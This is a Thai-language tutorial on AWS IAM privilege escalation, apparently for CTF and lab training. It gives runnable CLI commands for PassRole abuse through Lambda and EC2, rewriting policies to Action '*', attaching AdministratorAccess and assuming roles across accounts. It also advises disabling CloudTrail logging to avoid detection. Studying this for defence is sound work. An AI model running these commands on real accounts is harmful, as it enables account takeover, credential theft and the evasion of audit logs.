คลัง
cloud

AWS IAM Privilege Escalation

AWS IAM Privilege Escalation คือการยกระดับสิทธิ์จาก IAM principal ที่จำกัดไปสู่สิทธิ์สูง (มักถึง admin) ผ่าน policy/role ที่ตั้งผิด บทนี้ลงลึกครบทุกขั้น: ตั้งค่า credential, enumerate สิทธิ์ตัวเอง, 17 privesc paths หลัก (PassRole, CreatePolicyVersion, AttachPolicy, AssumeRole, Lambda, EC2, Glue, CloudFormation, SSM ฯลฯ) พร้อมคำสั่งจริงทุกอัน, การ pivot ข้าม account, detection evasion, lab walkthrough เต็ม และ troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#aws#iam#cloud#privesc#passrole#policy#assumerole#ctf

1. หลักการ & Threat Model

IAM ควบคุมว่า principal (user/role/group) ทำ action อะไรได้บน resource ใด การ privesc เกิดเมื่อ principal มี permission ที่—แม้ดูไม่อันตราย—ถูกใช้ต่อยอดเป็นสิทธิ์ที่สูงกว่า เช่น สิทธิ์ 'สร้าง Lambda' + 'ส่ง role' = รันโค้ดด้วยสิทธิ์ของ role นั้น แนวคิดหลัก: IAM policy เป็น JSON ที่มี Effect (Allow/Deny), Action (เช่น s3:GetObject), Resource (ARN), และบางที Condition

IAM privesc — ภาพรวมเส้นทาง
Low-privprincipalPassRole +Lambda/EC2CreatePolicyVersionAssumeRole(trust หลวม)Admin /high-priv role
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, cloud pentest ที่มี scope เป็นลายลักษณ์อักษร) เท่านั้น การทดสอบบน production AWS โดยไม่ได้รับอนุญาตผิดกฎหมาย

2. ตั้งค่า credential & เครื่องมือ

ก่อนเริ่ม ตั้งค่า AWS CLI ด้วย credential ที่ได้มา (access key, หรือ session token ถ้ามาจาก STS/metadata)

ตั้งค่า credential
# วิธี 1: configure profile
aws configure --profile target
# AWS Access Key ID: AKIA...
# Secret Access Key: ...
# region: us-east-1

# วิธี 2: env var (เหมาะกับ temporary credential จาก metadata)
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...        # จำเป็นถ้าเป็น STS temp cred

# ทดสอบว่าใช้ได้
aws sts get-caller-identity --profile target
get-caller-identity บอก Account ID, ARN, UserId — เป็นจุดเริ่มเสมอ ถ้า ARN เป็น assumed-role แปลว่าคุณอยู่ใน role อยู่แล้ว (มักมาจาก EC2/Lambda)

3. Enumerate สิทธิ์ตัวเอง (สำคัญสุด)

ขั้นวิกฤต — ต้องรู้ว่าตัวเองมี permission อะไรก่อนถึงวางแผน privesc ได้ ทำทั้ง manual และ automated

Manual enumeration
# ตัวเองเป็นใคร
aws sts get-caller-identity

# ถ้าเป็น user: ดู policy ที่แนบ
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>          # inline
aws iam list-groups-for-user --user-name <user>

# ดูเนื้อ policy (managed)
aws iam get-policy --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id v1

# ดูเนื้อ inline policy
aws iam get-user-policy --user-name <user> --policy-name <name>

# role ทั้งหมด (หาเป้า assume/pass)
aws iam list-roles
aws iam list-instance-profiles
Automated — enumerate-iam (brute ทุก API ที่เรียกได้)
# ติดตั้ง
git clone https://github.com/andresriancho/enumerate-iam
pip install -r enumerate-iam/requirements.txt

# รัน — จะลองเรียกทุก API แบบ read-only แล้วบอกว่าอันไหนได้
python enumerate-iam.py --access-key AKIA... --secret-key ...

# Pacu (framework เต็ม) — มี privesc module
git clone https://github.com/RhinoSecurityLabs/pacu
python3 pacu.py
# > import_keys target
# > run iam__enum_permissions
# > run iam__privesc_scan          # หา path อัตโนมัติ!
iam__privesc_scan ของ Pacu จะบอก privesc path ที่เป็นไปได้ทันที — แต่เข้าใจ mechanism เองด้วย (section ถัดไป) เพราะ CTF/lab บางที่ Pacu อ่านไม่ครบ

4. Path: PassRole + Service (พบบ่อยสุด)

ถ้ามี iam:PassRole + สิทธิ์สร้าง resource ที่รับ role → ส่ง role สิทธิ์สูงให้ service รัน นี่คือ path ที่เจอบ่อยที่สุดใน CTF/pentest จริง

4a. PassRole + Lambda → รันโค้ดด้วยสิทธิ์ role
# 1. หา role สิทธิ์สูงที่ pass ได้
aws iam list-roles --query 'Roles[?contains(RoleName,`admin`)||contains(RoleName,`lambda`)]'

# 2. เขียน payload (ดึง credential ของ role ออกมา)
cat > lambda.py <<'PY'
import boto3, json
def handler(e,c):
    s=boto3.client('sts')
    return s.get_caller_identity()
PY
zip payload.zip lambda.py

# 3. สร้าง Lambda ด้วย role เป้า
aws lambda create-function --function-name pwn \
  --runtime python3.12 --handler lambda.handler \
  --role arn:aws:iam::ACCT:role/<HIGH-PRIV-ROLE> \
  --zip-file fileb://payload.zip

# 4. รัน
aws lambda invoke --function-name pwn out.json && cat out.json

# 5. ดึง credential จริงของ role: ใส่โค้ด os.environ['AWS_*'] ใน Lambda แล้ว exfil
4b. PassRole + EC2 → instance profile
# สร้าง instance ด้วย role สิทธิ์สูง แล้วดึง credential จาก metadata
aws iam create-instance-profile --instance-profile-name pwn
aws iam add-role-to-instance-profile --instance-profile-name pwn --role-name <HIGH-PRIV-ROLE>
aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
  --iam-instance-profile Name=pwn --key-name yourkey
# SSH เข้า instance แล้ว:
#   curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Service ที่รับ roleวิธีใช้
Lambdacreate-function + invoke → รันโค้ด
EC2run-instances + instance profile → metadata
Gluecreate-dev-endpoint → SSH → ดึง role cred
CloudFormationcreate-stack ด้วย role → สร้าง resource
SageMakercreate-notebook-instance → terminal
DataPipelinecreate-pipeline → รัน command

5. Path: แก้ Policy ให้ตัวเอง

5a. CreatePolicyVersion → admin
# ถ้ามี iam:CreatePolicyVersion บน policy ที่แนบกับเรา
aws iam create-policy-version \
  --policy-arn arn:aws:iam::ACCT:policy/<policy-attached-to-you> \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default
# policy เดิมถูกแทนด้วย * ทันที
5b. AttachUserPolicy / PutUserPolicy
# แนบ AdministratorAccess ให้ตัวเอง
aws iam attach-user-policy --user-name <you> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# หรือเขียน inline policy = *
aws iam put-user-policy --user-name <you> --policy-name pwn \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
Permissionวิธี privescหมายเหตุ
iam:CreatePolicyVersionversion ใหม่ = *ต้อง --set-as-default
iam:SetDefaultPolicyVersionชี้ version เก่าที่กว้างถ้ามี version เก่าสิทธิ์เยอะ
iam:AttachUserPolicyแนบ AdministratorAccessตรงสุด
iam:PutUserPolicyinline = *ไม่ต้องมี managed policy
iam:AddUserToGroupเข้า group สิทธิ์สูงถ้ามี admin group
iam:CreateAccessKeyสร้าง key ให้ user อื่นขโมยตัวตน user สิทธิ์สูง
iam:UpdateLoginProfileตั้ง password user อื่นเข้า console ในนามเขา

6. Path: AssumeRole & Cross-Account

role ที่ trust policy หลวม (Principal เป็น * หรือ account เรา) → assume เข้าไปได้เลย และเป็นช่องทาง pivot ข้าม account

AssumeRole
# ดู trust policy ของ role (AssumeRolePolicyDocument)
aws iam get-role --role-name <role> --query 'Role.AssumeRolePolicyDocument'

# ถ้า Principal หลวม → assume
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/<role> --role-session-name s
# ได้ AccessKeyId / SecretAccessKey / SessionToken → export ใช้ต่อ

# cross-account: role ใน account อื่นที่ trust account เรา
aws sts assume-role --role-arn arn:aws:iam::OTHER-ACCT:role/<role> --role-session-name x
chain assume: roleA → assume roleB → assume roleC เป็น path ที่ BloodHound-style tools (เช่น PMapper) ใช้หา ลองรัน pmapper graph create แล้ว pmapper query 'preset privesc *'

7. Lab Walkthrough (จบใน 1 รอบ)

สถานการณ์จำลอง (เหมือน flAWS / CloudGoat): ได้ access key ของ user bob ที่ดูสิทธิ์น้อย

  1. 1ตั้ง credential: aws configure --profile bob แล้ว aws sts get-caller-identity --profile bob → ได้ Account 1234, user bob
  2. 2enum: aws iam list-attached-user-policies --user-name bob --profile bob → เจอ policy 'bob-policy'
  3. 3อ่าน policy: aws iam get-policy-version --policy-arn ... --version-id v1 → เห็น Action: iam:CreatePolicyVersion บน bob-policy เอง!
  4. 4exploit: aws iam create-policy-version --policy-arn arn:...:policy/bob-policy --policy-document '{...Action:*...}' --set-as-default --profile bob
  5. 5ยืนยัน: aws iam list-users --profile bob (เมื่อกี้ทำไม่ได้ ตอนนี้ได้) = เป็น admin แล้ว
  6. 6เก็บหลักฐาน: screenshot get-caller-identity + การกระทำที่ทำได้หลัง privesc

8. Detection & Evasion (สำหรับ red team)

ทุก API call ถูก log ใน CloudTrail การกระทำ IAM ที่ผิดปกติ (CreatePolicyVersion, AttachUserPolicy) ดังมากใน GuardDuty

  • recon เงียบ: เรียก read-only API ก่อน (list/get) — ดังน้อยกว่า write
  • หลีกเลี่ยง: root account usage, AccessKey creation, policy ที่มี * ตรงๆ (GuardDuty จับ)
  • blend in: ใช้ region/เวลาที่ปกติมี activity, ใช้ role ที่มีอยู่แทนสร้างใหม่
  • CloudTrail: ถ้ามีสิทธิ์ — cloudtrail stop-logging ก่อน (แต่ดังมากเอง ใช้เฉพาะ scope อนุญาต)

9. Troubleshooting

อาการสาเหตุ / แก้
AccessDenied ทุก callcredential ผิด/หมดอายุ; ถ้า ASIA ต้องมี SESSION_TOKEN ด้วย
PassRole ได้แต่ create-function ไม่ได้ขาด lambda:CreateFunction — ลอง service อื่น (EC2/Glue)
create-policy-version: LimitExceededpolicy มี 5 version แล้ว — ลบ version เก่า: delete-policy-version
assume-role: AccessDeniedtrust policy ไม่ให้ — ดู AssumeRolePolicyDocument ว่า Principal ตรงไหม
Lambda รันแต่ไม่เห็น outputดู CloudWatch Logs; หรือ exfil credential ออกผ่าน HTTP request ใน code
ASIA key ใช้ไม่ได้temporary cred หมดอายุ (default 1 ชม.) — ดึงใหม่จาก metadata/assume

10. Indicators & Quick Reference

สัญญาณที่ต้องมองหาใน policy: iam:*, * ใน Action, iam:PassRole + service permission, sts:AssumeRole กับ trust policy ที่ Principal กว้าง, iam:CreatePolicyVersion/AttachUserPolicy/PutUserPolicy
  • เริ่มเสมอ: get-caller-identity → enum policy → หา 1 ใน 17 path
  • Pacu iam__privesc_scan = หา path อัตโนมัติ, PMapper = visualize
  • credential ต่อยอด: S3 (config/backup), Lambda env, Secrets Manager, SSM Parameter
  • ASIA = temp (มี session token, หมดอายุ), AKIA = long-term
  • flag/secret ใน CTF cloud มักอยู่: S3 bucket, Secrets Manager, Lambda env, SSM

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งเจอโจทย์นี้: ได้ AWS access key มา (หลุดจาก .env, git history, หรือโจทย์ให้มาตรง ๆ) มีแค่เครื่อง Kali เปล่า ๆ ไม่รู้จะเริ่มตรงไหน — ทำตามนี้ทีละขั้น

  1. 1เช็คว่ามี aws-cli ไหม: พิมพ์ aws --version ถ้าไม่มี ลง sudo apt install awscli -y
  2. 2ใส่ credential: aws configure --profile target แล้วกรอก Access Key / Secret Key (ถ้าเป็น temp cred ที่ขึ้นต้น ASIA ต้อง export AWS_SESSION_TOKEN เพิ่มด้วย)
  3. 3ยืนยันว่า key ใช้ได้: aws sts get-caller-identity --profile target — ถ้าได้ Account/UserId/Arn กลับมา = ใช้ได้ ไปต่อ ถ้า AccessDenied ให้เช็ค session token/key ใหม่
  4. 4โคลน+รัน enumerate-iam ให้บอกว่าเรียก API อะไรได้บ้าง: git clone https://github.com/andresriancho/enumerate-iam && pip install -r enumerate-iam/requirements.txt && python enumerate-iam/enumerate-iam.py --access-key AKIA... --secret-key ...
  5. 5โคลน+รัน pacu (framework ที่มี privesc scanner ในตัว): git clone https://github.com/RhinoSecurityLabs/pacu && cd pacu && python3 pacu.py แล้วพิมพ์ import_keys target
  6. 6รัน run iam__enum_permissions เพื่อดูสิทธิ์ทั้งหมดของ key นี้
  7. 7รัน run iam__privesc_scan — pacu จะสแกนหา privesc path ที่เป็นไปได้ทั้งหมดและบอกว่าอันไหน 'Confirmed'
  8. 8ถ้า pacu เจอ path (เช่น CreatePolicyVersion, PassRole+Lambda) ให้ทำตามคำสั่งใน section 4-6 ของบทนี้เพื่อ exploit จริง
  9. 9ยืนยันผล: ลองเรียก API ที่เมื่อก่อนทำไม่ได้ (เช่น aws iam list-users --profile target) ถ้าทำได้แล้ว = escalate สำเร็จ
  10. 10เก็บหลักฐาน (screenshot get-caller-identity ก่อน/หลัง) แล้วหา flag/secret ต่อใน S3, Secrets Manager, SSM Parameter Store
Decision tree: มี key แล้วทำไงต่อ
มี AWS access key / session token ในมือไหม
เช็คด้วย aws sts get-caller-identity
✅ มี และ get-caller-identity ตอบกลับปกติenum
❌ ไม่มี หรือมีแต่ AccessDenied ทันทีfind-creds
หาทางได้ credential ก่อน
เช็คว่ามี SSRF บนเว็บที่รันบน AWS ไหม หรือมี S3 bucket ที่ไฟล์หลุด
✅ เจอ SSRF บนเว็บที่รันบน EC2/Lambdassrf-pivot
✅ เจอ bucket/repo ที่มี key หลุดs3-pivot
❌ ไม่เจอทางไหนเลยทางตัน — กลับไปหา entrypoint อื่น (web app, source code, git history) ก่อน
Enumerate สิทธิ์ (enumerate-iam / pacu)
iam__enum_permissions ดูว่าเรียก API อะไรได้บ้าง
✅ enumerate สำเร็จ เห็นรายการ permissionprivesc-scan
❌ แม้แต่ enumerate ก็ AccessDenieddead-creds
credential แทบใช้อะไรไม่ได้เลย
ตรวจว่าเป็น ASIA key ที่ต้องมี AWS_SESSION_TOKEN คู่กันหรือเปล่า หรือ key หมดอายุ
รัน pacu iam__privesc_scan
หา 1 ใน 17 privesc path (PassRole, CreatePolicyVersion, AttachPolicy, AssumeRole ฯลฯ)
✅ เจอ path ที่ขึ้น 'Confirmed'exploit
❌ ไม่เจอ path ชัดเจนจาก pacumanual-read
อ่าน policy ทีละอันด้วยมือ
list-attached-user-policies + get-policy-version ดูทุก Action ว่ามีตัวไหนเข้าข่าย 17 path บ้าง
✅ เจอ permission อันตราย (PassRole/CreatePolicyVersion/AssumeRole)exploit
❌ สิทธิ์จำกัดจริง ไม่มีทาง privescทางตัน — ใช้สิทธิ์เท่าที่มี pivot ไปหา resource อื่นที่ role นี้เข้าถึงได้แทน (Lambda/S3)
Exploit path ที่เจอ
ทำตาม section 4-6 ของบทนี้ (PassRole+Lambda/EC2, CreatePolicyVersion, AssumeRole)
✅ escalate สำเร็จverify
❌ ทำตามขั้นแล้วยัง AccessDeniedเช็ค Condition/Resource ARN ที่จำกัดสิทธิ์ไว้ (เช่น PassRole เฉพาะบาง ARN) แล้วลอง path อื่นที่ enum เจอ
ยืนยันสิทธิ์ใหม่
ลองเรียก API ที่เมื่อก่อนทำไม่ได้ เช่น list-users/list-roles
✅ เป็น admin/สิทธิ์สูงแล้วหา flag/secret ต่อใน S3, Secrets Manager, SSM Parameter Store
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ตั้งค่า credential / เรียก AWS APIaws-clisudo apt install awscli -y (ถ้ายังไม่มี)-
หาสิทธิ์ที่เรียกได้ทั้งหมดแบบ brute-enumerate-iam (git clone + pip install -r requirements.txt)-
framework privesc scan อัตโนมัติ-pacu (git clone RhinoSecurityLabs/pacu)-
สแกน misconfig ทั้ง account (IAM/S3/EC2 ฯลฯ)-ScoutSuite (pip install scoutsuite)-
visualize privesc path แบบกราฟ-PMapper (pip install principalmapper)-
ฝึกใน environment จำลองก่อนลงสนามจริง--flaws.cloud, flaws2.cloud (โจทย์ฝึกฟรี)
อ่านอ้างอิง technique privesc เพิ่มเติม--hackingthe.cloud
decode/encode ข้อมูลที่เจอ (base64/JSON policy)--CyberChef
🚑 ถ้าตันสนิท ลองท่าถัดไป: ลองดู aws-s3-attacks ถ้าเจอ bucket ที่อาจมี key/credential หลุดเพิ่มเติม, ลอง aws-lambda-attacks ถ้า role ที่ได้เข้าถึง Lambda function ได้, ลอง azure-ad-attacks หรือ gcp-attacks ถ้าโจทย์เป็น multi-cloud, ถ้าไม่มีทางเข้า cloud เลยตั้งแต่แรก ลองกลับไปที่ ssrf เพื่อหา metadata endpoint จากตัว web app

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้